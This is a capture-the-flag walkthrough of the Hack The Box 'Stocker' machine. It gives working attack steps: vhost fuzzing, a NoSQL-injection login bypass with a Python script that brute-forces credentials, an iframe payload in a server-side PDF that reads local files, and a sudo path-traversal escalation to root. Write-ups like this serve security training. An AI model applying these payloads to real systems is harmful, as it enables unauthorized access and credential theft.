HTB stocker walkthrough

HTB stocker walkthrough

Introduction

Some skills you might need:

  • vhost scan
  • nosql injection
  • pdf XSS

Nmap scan port

# Nmap 7.70 scan initiated Sat Jun 10 21:39:21 2023 as: nmap -p- --min-rate 10000 -oA stocker 10.10.11.196
Warning: 10.10.11.196 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.196
Host is up (0.24s latency).
Not shown: 64762 closed ports, 771 filtered ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

# Nmap done at Sat Jun 10 21:40:12 2023 -- 1 IP address (1 host up) scanned in 50.96 seconds

The port 80 is nothing interesting to me, and no result with gobuster scan

Therefore, the next step is try to find another vhost!

ffuf scan vhost

ffuf is a fast scan tool written by go, I like it very well!

ffuf -u https://stocker.htb -H "Host: FUZZ.stocker.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt 

Luckily , vhost does exist, dev.stocker.htb

nosql injection

Reference:https://book.hacktricks.xyz/pentesting-web/nosql-injection

Go to the dev.stocker.htb , and we get a login page, which builded by express!

When I realized that is was developed by express framework, we can change content-type to application/json

So, we can bypass login and go on!

POST /login HTTP/1.1
Host: dev.stocker.htb
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cache-Control: max-age=0
Content-Length: 85
Content-Type: application/json
Cookie: connect.sid=s%3AGSf78N9XIm4thMnxUafNVaNBObREyPyJ.oWd4IHWk9VRufiBW6%2Fdftk%2FoOiAaPCvhgMOt4ysMeJs
Origin: http://dev.stocker.htb
Referer: http://dev.stocker.htb/login
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36

{"username": {"$regex": "^{{rangechar(00,FF)}}"}, "password": {"$ne": "null"}}

I use yakit, and configured a rule like this:

brute username and password

Another additional steps, which I feel maybe help, we can obtain username and password by nosql injection, just use $regex.

I have wrote a python script as follows, which you can refer:

import string
import sys

import requests

def brute_password(user=""):
    password = ""
    while True:
        for c in string.ascii_letters + string.digits + string.punctuation:
            if c in ["*", "+", ".", "?", "|", "\\"]:
                continue
            sys.stdout.write(f"\r[+] Password: {password}{c}")
            sys.stdout.flush()
            data = {"username": {"$ne": "null"}, "password": {"$regex": f"^{password}{c}.*"}}
            resp = requests.post(
                url = "http://dev.stocker.htb/login/",
                headers={
                    "content-type": "application/json"
                },
                json=data,
                allow_redirects=False
            )
            if "stock" in resp.text:
                password += c
                continue

def brute_username(user=""):
    username = ""
    while True:
        for c in string.ascii_letters + string.digits + string.punctuation:
            if c in ["*", "+", ".", "?", "|", "\\", "a"]:
                continue
            sys.stdout.write(f"\r[+] Username: {username}{c}")
            sys.stdout.flush()
            data = {"username": {"$regex": f"^{username}{c}.*"}, "password": {"$ne": "null"}}
            resp = requests.post(
                url = "http://dev.stocker.htb/login/",
                headers={
                    "content-type": "application/json"
                },
                json=data,
                allow_redirects=False
            )
            if "stock" in resp.text:
                username += c
                continue

if __name__ == "__main__":
    # brute_password()
    brute_username()

# b3e795719e2a644f69838a593dd159ac
# angoose

After a while, got username angoose and password b3e795719e2a644f69838a593dd159ac

pdf XSS

After we login, we can add good to our shopping cart, and make an offer. Then you can get a pdf!!!

Download pdf, and you will find:

strings -n 8 <order-id>.pdf

There exists a security problem as follows:

https://www.triskelelabs.com/blog/extracting-your-aws-access-keys-through-a-pdf-file

Which we called pdf xss

shell as user

First of all, we read web application configuration file, which usually located in etc/nginx/nginx.conf

{
    "basket":[
        {
            "_id":"638f116eeb060210cbd83a93",
            "title":"<iframe src=file:///etc/nginx/nginx.conf height=1050px width=800px</iframe>",
            "description":"It's toilet paper.",
            "image":"toilet-paper.jpg",
            "price":0.69,
            "currentStock":4212,
            "__v":0,
            "amount":1
        }
    ]
}

We got content as follows:

user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;

events {
        worker_connections 768;
        # multi_accept on;
}

http {

        ##
        # Basic Settings
        ##

        sendfile on;
        tcp_nopush on;
        tcp_nodelay on;
        keepalive_timeout 65;
        types_hash_max_size 2048;
        # server_tokens off;

        # server_names_hash_bucket_size 64;
        # server_name_in_redirect off;

        include /etc/nginx/mime.types;
        default_type application/octet-stream;

        ##
        # SSL Settings
        ##

        ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3; # Dropping SSLv3, ref: POODLE
        ssl_prefer_server_ciphers on;

        ##
        # Logging Settings
        ##

        access_log /var/log/nginx/access.log;
        error_log /var/log/nginx/error.log;

        ##
        # Gzip Settings
        ##

        gzip on;

        # gzip_vary on;
        # gzip_proxied any;
        # gzip_comp_level 6;
        # gzip_buffers 16 8k;
        # gzip_http_version 1.1;
        # gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;

        ##
        # Virtual Host Configs
        ##

        include /etc/nginx/conf.d/*.conf;

        server {
            listen 80;

            root /var/www/dev;
            index index.html index.htm index.nginx-debian.html;

            server_name dev.stocker.htb;

            location / {
                proxy_pass http://127.0.0.1:3000;
                proxy_http_version  1.1;
                proxy_cache_bypass  $http_upgrade;

                proxy_set_header Upgrade           $http_upgrade;
                proxy_set_header Connection        "upgrade";
                proxy_set_header Host              $host;
                proxy_set_header X-Real-IP         $remote_addr;
                proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
                proxy_set_header X-Forwarded-Proto $scheme;
                proxy_set_header X-Forwarded-Host  $host;
                proxy_set_header X-Forwarded-Port  $server_port;
            }
        }

        server {
            listen 80;

            root /var/www/html;
            index index.html index.htm index.nginx-debian.html;

            server_name stocker.htb;

            location / {
                    try_files $uri $uri/ =404;
            }
        }

        server {
            listen 80 default;

            server_name _;

            location / {
                return 301 http://stocker.htb;
            }
        }
}

Ok, we know the web application directory, and we just read:

Well!, we have got the username and password which can be used as ssh login!

shell as root

sudo -l , you will find:

angoose@stocker:~$ sudo -l
[sudo] password for angoose:
Matching Defaults entries for angoose on stocker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User angoose may run the following commands on stocker:
    (ALL) /usr/bin/node /usr/local/scripts/*.js

So, just write a javascript script as follows:

const fs = require(‘fs’);
fs.readFile(‘/root/root.txt’, ‘utf8’, (err, data) => {
 if (err) throw err;
 console.log(data);
});

Of course, we can’t move to /usr/local/scripts, but we can:

sudo /usr/bin/node /usr/local/scripts/../../../home/angoose/flag.js

Ok!!, root flag in hand!